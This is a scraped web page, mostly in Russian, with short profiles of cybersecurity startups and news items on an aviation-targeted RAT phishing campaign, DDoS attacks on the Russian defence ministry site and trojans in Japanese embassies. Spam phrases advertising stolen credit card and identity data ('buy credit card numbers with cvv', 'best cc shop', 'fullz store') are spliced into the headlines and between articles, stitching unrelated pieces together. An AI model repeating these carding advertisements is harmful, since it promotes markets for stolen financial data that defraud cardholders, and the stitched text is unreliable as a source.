Компания Deduce , основанная в 2019 году, предлагает два продукта для так называемого «интеллектуального анализа личности». Служба оповещений клиентов отправляет клиентам уведомления о потенциальной компрометации учетной записи, а оценка риска идентификации использует агрегированные данные для оценки риска компрометации учетной записи. Компания использует когнитивные алгоритмы для анализа конфиденциальных данных с более чем 150 000 сайтов и приложений для выявления возможного мошенничества. Deduce заявляет, что использование ее продуктов снижает ущерб от захвата аккаунта более чем на 90%.
Автоматизированная платформа безопасности и соответствия Drata ориентирована на готовность к аудиту по таким стандартам, как SOC 2 или ISO 27001. Drata отслеживает и собирает данные о мерах безопасности, чтобы предоставить доказательства их наличия и работы. Платформа также помогает оптимизировать рабочие процессы. Drata была основана в 2020 году.
FYEO – это платформа для мониторинга угроз и управления доступом для потребителей, предприятий и малого и среднего бизнеса. Компания утверждает, что ее решения для управления учетными данными снимают бремя управления цифровой идентификацией. FYEO Domain Intelligence («FYEO DI») предоставляет услуги мониторинга домена, учетных данных и угроз. FYEO Identity будет предоставлять услуги управления паролями и идентификацией, начиная с четвертого квартала 2021 года. FYEO вышла из «скрытого режима» в 2021 году.
Kronos – платформа прогнозирующей аналитики уязвимостей (PVA) от компании Hive Pro , основанная на четырех основных принципах: предотвращение, обнаружение, реагирование и прогнозирование. Hive Pro автоматизирует и координирует устранение уязвимостей с помощью единого представления. Продукт компании Artemis представляет собой платформу и услугу для тестирования на проникновение на основе данных. Компания Hive Pro была основана в 2019 году.
Израильская компания Infinipoint была основана в 2019 году. Свой основной облачный продукт она называет «идентификация устройства как услуга» или DIaaS , который представляет собой решение для идентификации и определения положения устройства. Продукт интегрируется с аутентификацией SSO и действует как единая точка принуждения для всех корпоративных сервисов. DIaaS использует анализ рисков для обеспечения соблюдения политик, предоставляет статус безопасности устройства как утверждается, устраняет уязвимости «одним щелчком».
Компания Kameleon , занимающаяся производством полупроводников, не имеет собственных фабрик и занимает особое место среди поставщиков средств кибербезопасности. Компания разработала «Блок обработки проактивной безопасности» (ProSPU). Он предназначен для защиты систем при загрузке и для использования в центрах обработки данных, управляемых компьютерах, серверах и системах облачных вычислений. Компания Kameleon была основана в 2019 году.
Облачная платформа безопасности данных Open Raven предназначена для обеспечения большей прозрачности облачных ресурсов. Платформа отображает все облачные хранилища данных, включая теневые облачные учетные записи, и идентифицирует данные, которые они хранят. Затем Open Raven в режиме реального времени отслеживает утечки данных и нарушения политик и предупреждает команды о необходимости исправлений. Open Raven также может отслеживать файлы журналов на предмет конфиденциальной информации, которую следует удалить. Компания вышла из «скрытого режима» в 2020 году.
Компания Satori, основанная в 2019 году, называет свой сервис доступа к данным “DataSecOps”. Целью сервиса является отделение элементов управления безопасностью и конфиденциальностью от архитектуры. Сервис отслеживает, классифицирует и контролирует доступ к конфиденциальным данным. Имеется возможность настроить политики на основе таких критериев, как группы, пользователи, типы данных или схема, чтобы предотвратить несанкционированный доступ, замаскировать конфиденциальные данные или запустить рабочий процесс. Сервис предлагает предварительно настроенные политики для общих правил, таких как GDPR , CCPA и HIPAA .
Компания Scope Security недавно вышла из «скрытого режима», будучи основана в 2019 году. Ее продукт Scope OmniSight нацелен на отрасль здравоохранения и обнаруживает атаки на ИТ-инфраструктуру, клинические системы и системы электронных медицинских записей . Компонент анализа угроз может собирать индикаторы угроз из множества внутренних и сторонних источников, представляя данные через единый портал.
Основным продуктом Strata является платформа Maverics Identity Orchestration Platform . Это распределенная мультиоблачная платформа управления идентификацией. Заявленная цель Strata – обеспечить согласованность в распределенных облачных средах для идентификации пользователей для приложений, развернутых в нескольких облаках и локально. Функции включают в себя решение безопасного гибридного доступа для расширения доступа с нулевым доверием к локальным приложениям для облачных пользователей, уровень абстракции идентификации для лучшего управления идентификацией в мультиоблачной среде и каталог коннекторов для интеграции систем идентификации из популярных облачных систем и систем управления идентификацией. Strata была основана в 2019 году.
SynSaber , запущенная 22 июля 2021 года, предлагает решение для мониторинга промышленных активов и сети. Компания обещает обеспечить «постоянное понимание и осведомленность о состоянии, уязвимостях и угрозах во всех точках промышленной экосистемы, включая IIoT, облако и локальную среду». SynSaber была основана бывшими лидерами Dragos и Crowdstrike.
Traceable называет свой основной продукт на основе искусственного интеллекта чем-то средним между брандмауэром веб-приложений и самозащитой приложений во время выполнения. Компания утверждает, что предлагает точное обнаружение и блокирование угроз путем мониторинга активности приложений и непрерывного обучения, чтобы отличать обычную активность от вредоносной. Продукт интегрируется со шлюзами API. Traceable была основана в июле 2020 года.
Компания Wiz, основанная командой облачной безопасности Microsoft, предлагает решение для обеспечения безопасности в нескольких облаках, рассчитанное на масштабную работу. Компания утверждает, что ее продукт может анализировать все уровни облачного стека для выявления векторов атак с высоким риском и обеспечивать понимание, позволяющее лучше расставлять приоритеты. Wiz использует безагентный подход и может сканировать все виртуальные машины и контейнеры. Wiz вышла из «скрытого режима» в 2020 году.
Работает на CMS “1С-Битрикс: Управление сайтом”
cc shop online buy credit card numbers with cvv

Malware Attack on Aviation Sector Uncovered After Going Unnoticed for 2 Years buy cc’s, best cc shop

A targeted phishing campaign aimed at the aviation industry for two years may be spearheaded by a threat actor operating out of Nigeria, highlighting how attackers can carry out small-scale cyber offensives for extended periods of time while staying under the radar.
Cisco Talos dubbed the malware attacks “Operation Layover,” building on previous research from the Microsoft Security Intelligence team in May 2021 that delved into a “dynamic campaign targeting the aerospace and travel sectors with spear-phishing emails that distribute an actively developed loader, which then delivers RevengeRAT or AsyncRAT.”
“The actor […] doesn’t seem to be technically sophisticated, using off-the-shelf malware since the beginning of its activities without developing its own malware,” researchers Tiago Pereira and Vitor Ventura said . “The actor also buys the crypters that allow the usage of such malware without being detected, throughout the years it has used several different cryptors, mostly bought on online forums.”
The threat actor is believed to have been active at least since 2013. The attacks involve emails containing specific lure documents centered around the aviation or cargo industry that purport to be PDF files but link to a VBScript file hosted on Google Drive, which ultimately leads to the delivery of remote access trojans (RATs) like AsyncRAT and njRAT, leaving organizations vulnerable to an array of security risks. Cisco Talos said it found 31 different aviation-themed lures dating all the way back to August 2018.
Further analysis of the activity associated with different domains used in the attacks show that the actor weaved multiple RATs into their campaigns, with the infrastructure used as command-and-control (C2) servers for Cybergate RAT, AsyncRAT, and a batch file that’s used as part of a malware chain to download and execute other malware.
“Many actors can have limited technical knowledge but still be able to operate RATs or information-stealers, posing a significant risk to large corporations given the right conditions,” the researchers said. “In this case, […] what seemed like a simple campaign is, in fact, a continuous operation that has been active for three years, targeting an entire industry with off-the-shelf malware disguised with different crypters.”
buy cc’s best cc shop

Сайт Минобороны был атакован с территории Западной Европы и Украины buying cvv online, best cc shops

Несколько DDoS-атак было совершено на сайт Минобороны РФ вечером в четверг 22 марта, сообщили в ведомстве.
“Попытки атаковать сайт были произведены с территории Западной Европы (страна установлена), североамериканского континента и Украины”, – уточнили в военном ведомстве.
Отмечается, что атаки были сделаны к моменту окончания голосования за названия для новейших систем вооружения .
Напомним, что боевой лазерный комплекс большинством голосов был назван “Пересвет”, крылатая ракета с малогабаритной ядерной энергоустановкой названа “Буревестником”, а беспилотный подводный аппарат “Посейдоном”.
buying cvv online best cc shops

Хакеры атаковали японские посольства в девяти странах мира fullz store, buy cvv online

Хакеры атаковали японские посольства, по меньшей мере, в девяти странах мира. В результате этого могла быть похищена секретная государственная информация.
Об этом сообщает ИТАР-ТАСС со ссылкой на японские СМИ.
Известно, что компьютеры были заражены вирусами-троянами, которые позволяют незаметно скачивать информацию через удаленный доступ.
Жертвами кибер-атаки стали японские консульства во Франции, Нидерландах, Мьянме, США, Канаде, КНР, Республике Корея и еще ряде стран. Генеральный секретарь кабинета министров Японии Осаму Фудзимура сегодня подтвердил факт хакерской атаки. Вместе с тем, он подчеркнул, что “информации особой секретности похищено не было”.
Напомним, в августе хакеры проникли в компьютерную систему крупнейшего в Японии подрядчика министерства обороны – корпорации тяжелого машиностроения “Mitsubishi Heavy Industries”. Свыше 80 серверов и персональных компьютеров 11 ее объектов были заражены вирусами более 50 видов. Есть подозрения, что хакеры таким образом могли похитить информацию о разработках в военной области, включая боевые самолеты и системы наведения, а также данные об атомных станциях.
fullz store buy cvv online